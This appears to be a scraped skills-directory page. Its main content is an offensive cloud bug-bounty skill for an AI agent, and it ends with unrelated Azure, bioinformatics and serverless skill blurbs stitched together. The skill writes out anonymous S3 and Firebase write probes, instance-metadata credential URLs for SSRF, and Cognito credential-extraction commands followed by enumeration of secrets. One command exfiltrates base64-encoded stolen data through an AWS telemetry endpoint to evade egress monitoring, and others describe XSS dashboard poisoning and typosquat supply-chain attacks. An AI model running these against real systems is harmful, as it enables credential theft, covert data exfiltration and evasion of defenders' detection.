Hunt cloud / infrastructure misconfigurations. AWS: public S3 buckets (s3:GetObject anonymous), permissive bucket policies (PutObjectAcl public-write), exposed CloudFront origin, public Lambda function URL, public RDS snapshot, IAM credentials in JS bundles, AWS metadata accessible via SSRF. GCP: public GCS buckets, exposed Cloud Run services, leaked service account JSON. Azure: public blob containers, exposed Function App. (Kubernetes/Docker exposure is owned by hunt-k8s; CI/CD pipeline attacks by hunt-cicd; post-credential IAM escalation by cloud-iam-deep.) Detection: targeted dorking, certificate transparency, JS bundle secret extraction, port scan for known service ports. Validate: actual data read / write / RCE. Use when hunting cloud-native storage and compute misconfig (S3/GCS/Blob, IMDS-via-SSRF, serverless, public managed services).
npx skills add https://github.com/elementalsouls/Claude-BugHunter --skill hunt-cloud-misconfig
# S3 listing
curl -s "https://TARGET-NAME.s3.amazonaws.com/?max-keys=10"
aws s3 ls s3://target-bucket-name --no-sign-request
# Try common bucket names
for name in target target-backup target-assets target-prod target-staging; do
curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done
# Firebase open rules
curl -s "https://TARGET-APP.firebaseio.com/.json" # read
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"' # write
http://169.254.169.254/latest/meta-data/iam/security-credentials/ # role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME # keys
/jenkins /grafana /kibana /elasticsearch /swagger-ui.html
/phpMyAdmin /.env /config.json /api-docs /server-status
For testing cloud-misconfig findings against a local AWS sim before/instead of hitting real cloud:
# LocalStack 3.0 community (pin the version — 4.x requires a Pro license)
docker run -d --name lab-localstack -p 14566:4566 localstack/localstack:3.0
# awscli ≥ 2.30 + LocalStack 3.0 incompatibility workaround (x-amz-trailer header):
export AWS_REQUEST_CHECKSUM_CALCULATION=when_required
export AWS_RESPONSE_CHECKSUM_VALIDATION=when_required
export AWS_ENDPOINT_URL=http://localhost:14566
export AWS_ACCESS_KEY_ID=test AWS_SECRET_ACCESS_KEY=test AWS_DEFAULT_REGION=us-east-1
Without those env vars, aws s3 cp/sync fails with InvalidRequest. Document this for the team. See docs/verification/phase2j-cloud-localstack.md for the full reproducible flow.
AWS CloudWatch RUM (Real-User Monitoring) is a client-side telemetry service launched late 2021. Customers embed a JS snippet on their pages that sends performance/error events to dataplane.rum.<region>.amazonaws.com. The snippet's AppMonitor config contains an identityPoolId (Cognito) and guestRoleArn (IAM role) — both public by design. The IAM role policy is the security boundary, and when developers leave it broader than the documented minimum (rum:PutRumEvents on the AppMonitor ARN), the entire pool becomes the unauthenticated AWS-credential vending machine described in cloud-iam-deep → Cognito Identity Pool chain.
Snippet-style (most common, embedded in <head>):
(function(n,i,v,r,s,c,x,z){...})(
'cwr',
'00000000-0000-0000-0000-000000000000', // applicationId (UUID)
'1.0.0',
'us-east-1',
'https://client.rum.us-east-1.amazonaws.com/1.x/cwr.js',
{
sessionSampleRate: 1,
guestRoleArn: "arn:aws:iam::123456789012:role/RUM-Monitor-...-Unauth",
identityPoolId: "us-east-1:abcd1234-...",
endpoint: "https://dataplane.rum.us-east-1.amazonaws.com",
telemetries: ["errors","performance","http"]
}
);
NPM-style (aws-rum-web package):
import { AwsRum, AwsRumConfig } from 'aws-rum-web';
const config: AwsRumConfig = { identityPoolId, endpoint, guestRoleArn, ... };
const awsRum = new AwsRum(APPLICATION_ID, '1.0.0', AWS_REGION, config);
# Detect RUM init
grep -REn "cwr\(['\"]init['\"]|from\s+['\"]aws-rum-web['\"]|new\s+AwsRum\(" .
# Extract applicationId (UUID v4)
grep -ErohE "applicationId['\"]?\s*[:=]\s*['\"]([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})['\"]" .
# Extract identityPoolId (region:UUID)
grep -ErohE "identityPoolId['\"]?\s*[:=]\s*['\"]([a-z]{2}-[a-z]+-[0-9]+:[0-9a-f-]{36})['\"]" .
# Extract guestRoleArn (leaks AWS account ID + role name)
grep -ErohE "guestRoleArn['\"]?\s*[:=]\s*['\"]arn:aws:iam::[0-9]{12}:role/[A-Za-z0-9._/-]+['\"]" .
# Endpoint reveals region
grep -ErohE "dataplane\.rum\.[a-z0-9-]+\.amazonaws\.com" .
Chain A — Credential extraction (Critical when guestRole is over-permissioned). Once identityPoolId is extracted from the page, anyone runs:
aws cognito-identity get-id \
--identity-pool-id "us-east-1:abcd1234-..." \
--region us-east-1 --no-sign-request
aws cognito-identity get-credentials-for-identity \
--identity-id "us-east-1:<returned-uuid>" \
--region us-east-1 --no-sign-request
# → STS creds; export and:
aws sts get-caller-identity # confirm role
aws s3 ls; aws dynamodb list-tables; aws lambda list-functions; aws ssm describe-parameters; aws secretsmanager list-secrets
# Automate: pacu / enumerate-iam.py
Full chain documented in cloud-iam-deep → Cognito Identity Pool unauthenticated chain. RUM is one common embedding context.
Chain B — Telemetry endpoint covert exfil. dataplane.rum.<region>.amazonaws.com is an AWS-owned domain on every enterprise allowlist. The PutRumEvents payload accepts arbitrary userDetails and customEvents string fields:
aws rum put-rum-events \
--id $(uuidgen) \
--app-monitor-details '{"id":"<appId>","version":"1.0.0"}' \
--user-details '{"userId":"EXFIL_PAYLOAD_HERE","sessionId":"<session>"}' \
--rum-events '[{"id":"'$(uuidgen)'","timestamp":'$(date +%s)',"type":"com.amazon.rum.custom_event","details":"{\"exfil\":\"<base64 of stolen data>\"}"}]' \
--endpoint-url "https://dataplane.rum.us-east-1.amazonaws.com" \
--region us-east-1
Defenders watching egress see traffic to a known-good AWS hostname; DLP doesn't parse the JSON body; SIEM rules typically don't ingest customer RUM telemetry.
Chain C — DOM injection via snippet source poisoning. Many customers either self-host cwr.js on their own CDN (assets.target.com/cwr.js) or bundle aws-rum-web and serve from static.target.com/main.<hash>.js. Subdomain takeover on the JS host or supply-chain compromise (npm typosquat against aws-rum-webb) gives persistent JS execution on every page-load with the trust of the aws-rum-web SDK — including its already-granted Cognito permissions.
Chain D — Telemetry injection / dashboard poisoning. With the public identityPoolId + applicationId, an external attacker can flood PutRumEvents with fake error spikes (drown real alerts), inject XSS payloads into page-URL telemetry that fire when an SOC analyst views the CloudWatch dashboard, and inflate billable RUM event counts (financial DoS).
| Finding | Severity | Justification |
|---|---|---|
| guestRoleArn with *:* or wildcards on multiple services | Critical (9.1+) | Anonymous full AWS access |
| guestRoleArn with s3:*, dynamodb:*, secretsmanager:*, lambda:Invoke* on production resources | High (7.5-8.8) | Data exfil / RCE depending on resource |
| guestRoleArn with cognito-identity:* or iam:PassRole | High (8.0) | Privilege escalation primitive |
| guestRoleArn with only rum:PutRumEvents + endpoint-scoped resource | Informational | Documented, intended config |
| RUM userDetails logging PII into events viewable in CloudWatch console | Medium (5.3-6.5) | Sensitive data exposure via dashboard sharing |
| RUM AppMonitor accepts PutRumEvents from arbitrary internet sources (telemetry injection) | Low-Medium (4.3) | Dashboard poisoning, alert evasion, billing DoS |
| Self-hosted cwr.js on takeoverable subdomain | Critical (9.8) when chained | Persistent stored XSS across every customer page |
No CVE assigned specifically to AWS RUM as of 2026-05. The attack class is documented in research but specific named bug-bounty payouts on RUM are rare in public hacktivity. The pattern is "Cognito identity pool over-permission via embedded SDK" — RUM is one common embedding.
cognito__enum_identity_pools — production tooling that automates Chain A. github.com/RhinoSecurityLabs/pacuaws-cognito-unauthenticated-enum — canonical playbook. cloud.hacktricks.wikiidentityPoolId from page source.get-id succeeds without auth).get-credentials-for-identity returns STS creds.aws sts get-caller-identity and screenshot the role ARN.enumerate-iam / Pacu iam__enum_permissions — capture at least one allowed action beyond rum:PutRumEvents. Without this, the finding is Informational.hunt-subdomain — Stale CNAMEs pointing to deleted buckets are a takeover gold mine. Chain primitive: Cloud misconfig (S3 public/deleted) + hunt-subdomain → unclaimed CNAME points to bucket → assets.target.com takeover.cloud-iam-deep — A leaked SA JSON / AWS key in a public bucket is only half the bug. Chain primitive: Public S3 + leaked AWS key in .env → cloud-iam-deep enumeration → cross-service iam:PassRole escalation.hunt-ssrf — Metadata service is reachable only from inside the VPC; SSRF is the bridge. Chain primitive: SSRF + cloud misconfig (IMDSv1 still enabled) → instance role keys → S3/RDS data read.supply-chain-attack-recon — Exposed CI/CD endpoints and SBOMs reveal internal package names. Chain primitive: Exposed Jenkins/GitLab + internal package name leak → npm/PyPI dependency-confusion publish → CI build pwn.security-arsenal — Load the Cloud Bucket Wordlist (target-prod / target-backup / target-staging permutations) and the Admin-Panel Path List for fast enumeration.triage-validation — Apply the Unique-Marker gate: any "writable bucket" claim requires a write of a unique marker file and a read-back from a clean session before report submission.Assess Kubernetes workloads and cluster configuration for AKS Automatic compatibility. Identifies incompatibilities, generates fixes, and guides migration from AKS Standard to AKS Automatic. WHEN: migrate to AKS Automatic, check AKS Automatic readiness, validate manifests for Automatic, assess cluster for Automatic compatibility, fix deployment for Automatic compatibility, identify AKS Automatic migration blockers, is my cluster ready for AKS Automatic.
Discovers available Azure OpenAI model capacity across regions and projects. Analyzes quota limits, compares availability, and recommends optimal deployment locations based on capacity requirements. USE FOR: find capacity, check quota, where can I deploy, capacity discovery, best region for capacity, multi-project capacity search, quota analysis, model availability, region comparison, check TPM availability. DO NOT USE FOR: actual deployment (hand off to preset or customize after discovery), quota increase requests (direct user to Azure Portal), listing existing deployments.
Interactive guided deployment flow for Azure OpenAI models with full customization control. Step-by-step selection of model version, SKU (GlobalStandard/Standard/ProvisionedManaged), capacity, RAI policy (content filter), and advanced options (dynamic quota, priority processing, spillover). USE FOR: custom deployment, customize model deployment, choose version, select SKU, set capacity, configure content filter, RAI policy, deployment options, detailed deployment, advanced deployment, PTU deployment, provisioned throughput. DO NOT USE FOR: quick deployment to optimal region (use preset).
Unified Azure OpenAI model deployment skill with intelligent intent-based routing. Handles quick preset deployments, fully customized deployments (version/SKU/capacity/RAI policy), and capacity discovery across regions and projects. USE FOR: deploy model, deploy gpt, create deployment, model deployment, deploy openai model, set up model, provision model, find capacity, check model availability, where can I deploy, best region for model, capacity analysis. DO NOT USE FOR: listing existing deployments (use foundry_models_deployments_list MCP tool), deleting deployments, agent creation (use agent/create), project creation (use project/create).
Intelligently deploys Azure OpenAI models to optimal regions by analyzing capacity across all available regions. Automatically checks current region first and shows alternatives if needed. USE FOR: quick deployment, optimal region, best region, automatic region selection, fast setup, multi-region capacity check, high availability deployment, deploy to best location. DO NOT USE FOR: custom SKU selection (use customize), specific version selection (use customize), custom capacity configuration (use customize), PTU deployments (use customize).
This skill should be used when working with LaminDB, an open-source data framework for biology that makes data queryable, traceable, reproducible, and FAIR. Use when managing biological datasets (scRNA-seq, spatial, flow cytometry, etc.), tracking computational workflows, curating and validating data with biological ontologies, building data lakehouses, or ensuring data lineage and reproducibility in biological research. Covers data management, annotation, ontologies (genes, cell types, diseases, tissues), schema validation, integrations with workflow managers (Nextflow, Snakemake) and MLOps platforms (W&B, MLflow), and deployment strategies.
Latch platform for bioinformatics workflows. Build pipelines with Latch SDK, @workflow/@task decorators, deploy serverless workflows, LatchFile/LatchDir, Nextflow/Snakemake integration.
Run Python code in the cloud with serverless containers, GPUs, and autoscaling. Use when deploying ML models, running batch processing jobs, scheduling compute-intensive tasks, or serving APIs that require GPU acceleration or dynamic scaling.
Take elementalsouls/hunt-cloud-misconfig from the repository into ~/.claude/skills for personal
use, or into .claude/skills inside a project.
The agent identifies a skill by the name field in its header. Two skills with the
same name cannot sit side by side — one of them will be ignored.
The instructions reference docker.
Without those the skill loads but fails at the first command.